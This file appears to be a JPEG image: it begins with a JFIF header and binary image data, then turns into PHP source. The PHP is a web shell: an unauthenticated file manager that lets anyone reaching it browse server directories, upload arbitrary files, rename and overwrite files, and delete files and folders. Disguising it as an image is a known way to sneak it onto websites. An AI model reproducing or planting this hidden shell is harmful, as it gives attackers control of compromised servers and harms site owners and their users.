JFIF ( %!1!%)+...383-7(-.+  ---------------------------------+-----------------**"D!1AQa"q#2BRrb3$4CS5c !1A2Q" ?Vvnuv<OG~'bq5[J?dv_r^/62ϽXNi'*m-{ jGBx&5tͯ=5,,O;oBʭXٽ^y߉x,)JQ_^uI3+ԓM_21^NTJ2WM=UTב~X}aqqN: =㝟}1UV\Uu3uL7:XӄM1NMK6v}p ՒZ9=3+7t~TbduJw+&jvݓ孢q͗؞[Y)o?K_*;eu~{rӻXyBL~̆!IWi7X4z7]0ygv+W7&ʫj7MZcdן9g}vȶ۽prT楺yx!vGmb,W5mUe\[i({ewmVO}[nxc_05ixu1߅8UBMEmCbwm)R@W B޵nV mjPQo_Yϓ0*ׁV;z]lꍭz'|yٓ"Euk%u[+9kkڣ5oBVVwR6=VMRew&נGڤVrKzgdEpW4SU_cEa1rݪsk}i&]u=@RPR@ڴ'^ +vDMxӄ9()IYϟd+喉-+v[ic*UnҜI_Hc Ooyqˆvz%kHx, hQ[;L,׃,Oj-]nὺސJ#)wM^<yvJ1o'g:;RNWݲvZivϖGVK;k=u.XbVu%|IߡgGwѶZ߅gDv)miޡk;qgǪK=BzR9h_[[Z5٘ToOuŴWY{[&Vpӫ3}ռ..ZɷsJ7NbKI=Z2^7i7\3y' %('gxu{$Fiw7hƬ'VkI%{/V*/g]75tvM\j*N,["锬Xt\Z`P]w{'<pԎX IK[8gKq)Tv_lUԵk~esq]Pk h ?{u{2MM0.? ?ʋiM? 0ѥFJ)=qe} {Rw^\SI`WeW~9mVpY~R/$aI^=ޱIf{6]oa(r6=ʟn nYzsi48e%k0$+x'z;ګEv7ߐ^*JyWv={JR%5.o9fG`jJT)✔sIwfFK٧yc/xR+_k;˒=/lcU5*lw^iIrzݳ6^G^)JI,egn.[R)wm%n{V~oݛO\v[?~}<4TY;/ ojv)):qi)$Yl4U'zku[i'= FJHSޔd\ K 0s9SI++K5cj2eMRSݚz)[W|dQFwjm6\~ܜԕvwMpmvM*uygo'l~$UG~ aU*7孵J>laN{_".yIf5)Μ8ѫ3gS[ [MxkRt%rl,qЍ?˫% ?+?ENgǚI~G˧{j㛔]+o^diw7uOMՓIZ5nrEIm{As/HG5 FY뺽[9^ gkeKs_/Gu]nkUgV މYʭo c=Ei-Y|OS1D)BMn9orM.v㵓=.ꔬn;{ے}'me\{v9w]}N0JVN(E>jPWONp*痦gL e:qti[+{3g}ݣ IW~ѫ/{߈;]O'(fHQGVw3X.#QNo(68u9~.cNjM;dnו(Jv{ѕX o9wc+=nofڭF嵬U򕒵dF[ oJN񅵗-#}S:ԕ]-xyfÞLLB/iZ1ɥ$Y|/xuNワ䬯|N7%RrKK+Vk]tHl' ޽Z\?t+r>zaai5~zTJ2q^_CYpFn*_Ӣ8.?]xCN; P|rZoqU\vNM[%v~'q`dm{ikkQ[+e"0EamGy]p= ݶy%cϻJ[t}ezM,U9Gz I+wE;-[n፺WϓO_&}"ui6R?v'L[l'~&7?yMTf*&[)$ׅ~Dg|);믚m} tv:~17%v~&i*S7J)^?.oNX{OѼB8:t(-VJOu.nކue7c]zիk9Jja׎YLNɬm13K Gk>YdO?{eT%dob{Bb pMo#m% >e{;%R? W1q5ao+\_Wd7cAJSv]uש57^QM>r7U6]8Z{;7m_eLb SN?]I%ټW=blxj0Mwbog:jRh5xNL@vriM=}yQ ܩ%yS|æ;&ͣ5|nI]YfG/OzP_p)#\z:LaܩRɾ˩hvzt*RTe85R/+ݩ׍Euɷ fɽ*Roe+UROimNЏ9o bj7}qtUۊsPZ>S $ޗu5xmޝ|2%nq5RhnVn}c}8Keڎ|.ܔLj?^;v} smzŰǏRv.?\5X}eKbC}J4wi%iY╽sGN3 gMnMe/T\),VMxeR_U:IÎOVJQ|՝ZsߌV-]K]#uu͛mev:kzZ^ێn7|av^Ug'\f(XgMbk+w܃Ҝ^q#Ip>u@۾BtV9gMZqJk>l-w{G=lhսL:eջsc۪&}sPV|X|G&mHB_ M^vs'VYV\.ytO'u5{jINK<4o[юNRc[eۆvyنnsQ\KTF=u5$ywQMk-__3lD,y.2ed\r"U&rNNQ魕H܆k#[uIuQu*Qn2I}O xO;4rN^V)٦z;'t' ЛһOyy!ipW>9z^#íʊ8K&\uF;kߠt7WR^o\풿,ER]n׼Y4ᖁUw=}O2e$̞R6M]s_yXLDekd,z QRZ3f)U{ӕ׏NVu=ߝQe v_^evplwRviYIRN.ַ8֕N Q9ҝh6uǞCTlϔ'|^(TvqͭRj߸lQglI<[Vzѝo |Y,Fu~PK&Es<&wI Z;wk?+Yy+X(]ھ|jJK;i)]jfT힍$$᰻I.C<.'{5,(^wŖg)YuӢ'MA9oI+ܸدg:_ބ]8,K G~#6y{Nq`:c).ЭJ+MZ73}"+SyE(S?qNY]۴a(vI)?ȳwՓs0lښ| +GO?ކBR3sO.$1ZOXuɥLhO%R>y|L=9䰍~#$Ӻ揧U6顣ٝV쿩iȩ֌iRWM5fr-!}nһ'^oi[ b6(;ۑ_[7 d ,F" {8GJϒf9MK$+[Lw[,mJ ,Ns|2^-e N8|Cm)<6QwwC^$BR[J/[;kXm-9>E_]B%ujHd|;\3]9F{RRVsV"V%+#ڽo/ˑI_rR}u#+S3W猥gt$ת9Wmw^wVV|ϴZVVMY+f+?pw7υr%~TTw;ko= 䴵޽ɿ ifOv@wap&յm+Mnzŧ776mJp7]xʍ+7_#E)c|nmԁkN4#ΜeQCYk'7l紱^Ν?5y8h+Wk7gDH5_iFP{5<:*;K 5rv}Žbfɮh)lm v˯C-ѥ; JׂZ:In{%XRo\2WX>n6{]睈XZ~LV-$վDgSJm]\{2 5Ƥmˡ. ڻZ+休"dƥF>h^Lw$INټuF U#odsvĭM_;EvzJ<GE-;*`匓V^F+wakq|owiEۮߥ77c/h9Nz9|^"ݎLm$c\ JeÍΜKOGku=Lͧh7e~6w2RRq5mkGsVK9+_Tt>[Yt[ZOz)H[%(k/yًwTw%^Vu&Z)d/ $wQOz?e:iy^σ0)Woqy;/}2|v:[gva~{Z&)2%z6+2py_.^Fbz1ofr0b#K}NT޹啓zgk2dS75KrWNKuofzz5*;ݵz&vJ[r\Vڊ)Ӌ5ç,U3m8o9[I4+5|.Lѧ~hJ/T⳾wMK\=)K ζN6^'Vr﵎gky"ip2 6 k$MTu›Z/J,/7Dxto>_zem -!\ 3}d͜e6 Ajߧ1RwQr-i* Y/JVk6a6N6=xoD\Fiw\lV^ei.o%W}%Ԫu)(Dr|$ݗ-zHY+dmK,'7*짌TEqlK5V/wțt6av_o?O 斿^~;+j?VDN;&OG%h,-&:%ݥ+o%Ù´n||I~ɤyuy](;\k[9Ao/uV+)wlZTVy꾟mRKZ;x?/ܯ/ywKKۇ^EOS|]c[sdc7ӏ^kb.ݎUr+O}JgRmFjԻ1RܟM]QۏyZ㺲CV^2nJ/5Ty27kUF+|͗uen饂ZZ66Ɍ"2>le.YhvҧV]/RG\aK#$ozԍ[-qό/B=z ͜'QSNrouQ~L-=ĵ9O^x# o?+^\6Ja4waF {˒"aGVHu2TsfK-ue&BvwWv:0t4%ĸ~ &`oGTt-/dwͿ39߯.ǥU6?]LŮQM𼕽F-ˎww{5R#sU:.TwW]̭u(5Ea=x!,ֶԿFO.O;E>|Y,/{%yiwW,j*Mn4[֍^Hkݾˡ__#9JҊrM]6+lSl/.ۖ=>K̟կm/ΙQRYۇ_q+ >\NƠmN+U[fԓYdVn+4̓WQ. ytM,Ѷ\wqubhI [fi/ʗdfPqk..!egnVz2­UHh-7gwsWȮ7R[uqryM8,V̵alUMdBތ#by]5O5ӋusxNGEy E_K:7}Nrvy~ TS윭~_ls-"RNRprJlTit̰ pZ15`ކ [Y/V.Zf_^g\np5Zzե~B]\ĵM pՆ>:.'a*/2PM䖾,N~K?kO}"m3|WWOk*pؑ57l qWK\1;:j2wK$% ſ#k~yuhK>% ٦կMe~9~Ѫ6f/Ų1[z"-9+ir/%iǺ֎2OTF]ݛo?R¤.:e,sY탱"m3ׂfFHV_ idMXqc.Kk-W7:˃e{K ~Ԧѿ"f:Wj||4zI[ȫ۸֥$WjoskM+OC&ՕKaqӽѶOV,x\ovțr+63%hޒ!H[#e'-f׸^G-R1T-di;9;Z VDi.y%^MZ1Yy|C7gd_'ˋi(5 #}_eU-_Dm 8Vm- ޺pEyݢťv\NʭhRx[} #G_xgAE(G}UD*qݽU܅ߢ3W _̏j^+u[/E5Y/yF*:tWijv\UYr|RR]yz[yUԉZmIV+MT{r埡%ZgYf[ lofoI8ZvcR=ҷSvz ңrj%.Eѵkg)*T;Yc2TQ*.15rlR[/!oŮfet\yșªjJO4XeWhJ{؈Ei9Hk>z@yZfhYfmB/q{.',^*Yfqvϟ`7rz/&Q^lsK%䎈Jgػ ;0m86n_<n<7סFNj';ivN1;'x#\~_y dx%9-8/Hz#?'C4,i՗u7/||2wY;sKB.ϥVsx/w*nS;u'7Y k%%ǛS׫)TV%͗TWqIdqSnGWV*U_k;ЗVK"fyr!ճmnOl?_~-w|W5.6;A!o2eйScm2+jSj/ 'Kt|ِm׋ ՆǂzkvkcL΅idFWJ/GQimTܗހ|]OhAK8FNH؜!e$N8x4_Eۮro[\L%/F=KJ*w`TZWwo̦iJW%kr':&Բx2?mO&IՖkJR^ ygȏvYS36$w{-J瓾j܊^߻t7fLh-'~<~ c85m,>()ц"&iӳRe_T/]{o)$Fe/ Qv jpQJ+DȪffS@L|vhߘGV.*:.cfkקEU%f/\E{M #gtz}35bIQyūrm<ޛ_nK%~֒I)2I1*8˛si;^_daӫh\^RO\֜wi/T#ݢn{5+Y0%\׹v%(՚yQ/|%8|k_yߜ־*s]Lݣ$Y!0ֺym-:;:U<.yH~*VQo#cmN.#QmY#w\h ?g+58-Y}6fҏ7ei ߇yњnS| c[Ra'fܕt7O+>ܗ՜l1|6jNMa+*E|f٭|jvW;wՖ^CG|f[dX4}ǻEE3-6Z.ןߊf/.Dп?UOhWaʛg,Ja:VN͕Xw ,6. ܑԡy>JֿY|Y"o%eNM/$<2+s^^g VV⸗Ѫ+1mex|J n-ۯȼoԟ*6 O6c UUǟ/zkE=Voާnnޛ˟,|^-sU N/ ԎVJN1WO&gjYkSJ:Y~*wR[wv%IzV6'Qyg~ұ[*σͼsgwj2jis+rrǁuRrYZ8}Ĩb#'vK'gO)k{# \S\tyFczsUZ[9TmE;Ir^ORIFeR򍗆dg+9< YZiߊ7yٛZ/V t@Vm,}~$gs.gdXb?jPwύE"S70D.R ߑ]3Znfߑ U96FFͽBj |{{xs:vj9gg~9-hc~է^&hQ%~>GeW{G}l(Su䜽VY?I.hJޟc5xVlyI_yiww@O_/v>Zi_N&ժT~\%֕Eĩ6mr__Rn&i>~Fuld/KL6%<,њiRyyle|~ mVIe݈8ڎ\m5uD|F/,KyxkkKGN*kzI~OkYoƮ֜׸ Ie,_^| jeET{NKnzߡ߲vH[]oǪ&F4in.nSۚX(ۆN3_o}&|J?m8EWY+o4/o kv~R3%Ƥ]ogRYdK>bSV"~"wtl3Mn(; TJ1^>>l &JϦDr͢K6QyQ.IVZ3G]҇^C?$$V,m"kѺMil vijdId?Wogy>)} yk"} mⴾIY>+yw>؍NVz'ՈO'OjU9[5+_%)nqWGC+e-`χvV% QinTb!OkE8qkKoqڴJZq>&j+./|̾ՅeajV#i[bfnZp vPxq►d/ 9|waWZ_3Q^粚.:ij]W>-7R'姡Շoe/Nv-)RQK>KK*v=/~~*/%6oV'em|25)Z\NT84>Ӌ9Y8h՛_zj[ҍ}@ِS险(=mi뇈R@7p*2ˊ~F>dg:V>O[+p{2>,TR;5FIIw5[i_'̼o>bp8U4jm|6w2UbSF.~dSˁ5qA>#npK6ȊN+^ [l_.N 8 vZ4wĹ<)a-2,๣WpU{rE3.BHcvϔSVhVMi]<^$fm@t٭j;UW92,iRQ\:|3,i䬼:0yxzW\*<_V)}-<x*vȤI[f_/0N&ӧ|}85}WK0qK.X|-^vvvS>u@RїEGhݎ\9}arK@'|=U|Ċ'`jWEJs kn;yEjF_`+֏Y#y:iMz$ h8FԮ@̱lI83.N@t|_Ky2(j3n2yf| v1roM=~Vgbc(ρAJWc#^K[Qz4쵝5L 6Q67l*$xm a,r+|Gm&R,IEF͕kX_$"s䤫`דXqz(ӱާyسُJYGωo_u' "ă#zo>څ앑0fj,z#](A"j IPӺ%SkԬ8XJhk:c[=Ulסsv&3%S÷w,(+,O+C2]KRUV9Q[ٝz>%n(زN23=VM^ܚ/;:ŰFV۔wjJ+= 2<;EqKDNSSUY2}殑$kO㟠mRv_[-#;/r~M v9KF'x㑯3zKpWlZR[ᮕ| jlcBٯAOBv)v* c,QfaN)nŜRVp^Y| Σ΋|ѢmxC \:ʧ-teg8r mwe8-TgL~aYȥN+"-XZMpigpum;(_+'Ϛ5Gqt@S}Гr/2MmSIթJ?_|WlI.H*Vpb/7zLFԍ\~Eu F?3AږfjSYq̺MzݔO> T4?їƢkOv"6 bhɷ.1̠ǻQ럣v8Z?fWQzg^wkv}4;M>m/}^47hCJQ\^3 m%ޞʥwm=9$l 5u{~ULwY+˟+ն"I^}GZȫU#Q>:gqu}M7 Zђֳ=tp4ɵ:qzzE?U~{^{=c1 yM]|lrӏb*Q6Ȼ;.r_%kB>X蹳v{ӕ'yij6V#̶Nw3~xKԸo4͑[vW;;pߩoIH;l4mvKWs)+`C ]|R$9}b6N}Q6O75V_mp<~!N|Юҵٛ^ޭEprM+ I~eo?Z\*w}OzHչ-Xݶy%~<'dXzJNRZyn\ӎT^M8œd,N+fr٩Ԕ`{ݏ~QbIx%c?pJU&U׾ǯ8g˖g _ j8goiJ-F'/ 5줟;4ɜ'[J b.zr/Ԣܟ]Uc^gW{NjzQ_ 4/w-7bwZW0Mv{_.!U+,M@||s^(~b7CDxc-py1|~q}O/`ҿ#Dee+dsXzvJ}3'yM=w_Oq۹5i/\ٍuQ|rޘ9ϊᙨظIKXIy4̭-u,Uq^ z3k#%t}!lZz2NM=8a?6/ƼcyQyo_GgiA:5I ǐ4}/%f+'/=_)g=)ݬ8#yM̾%d'`erٳ .m8rKXcl4uiHx`*~ :YڀCk۝$nzQ_Ldr:z7޿$ o,q(QXD]vҩfɖ歖Q~?rR=Xi/̯j 5 #tlhkpln# = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("?", "?", "?", "?"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("?", "?", "?", "?"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?>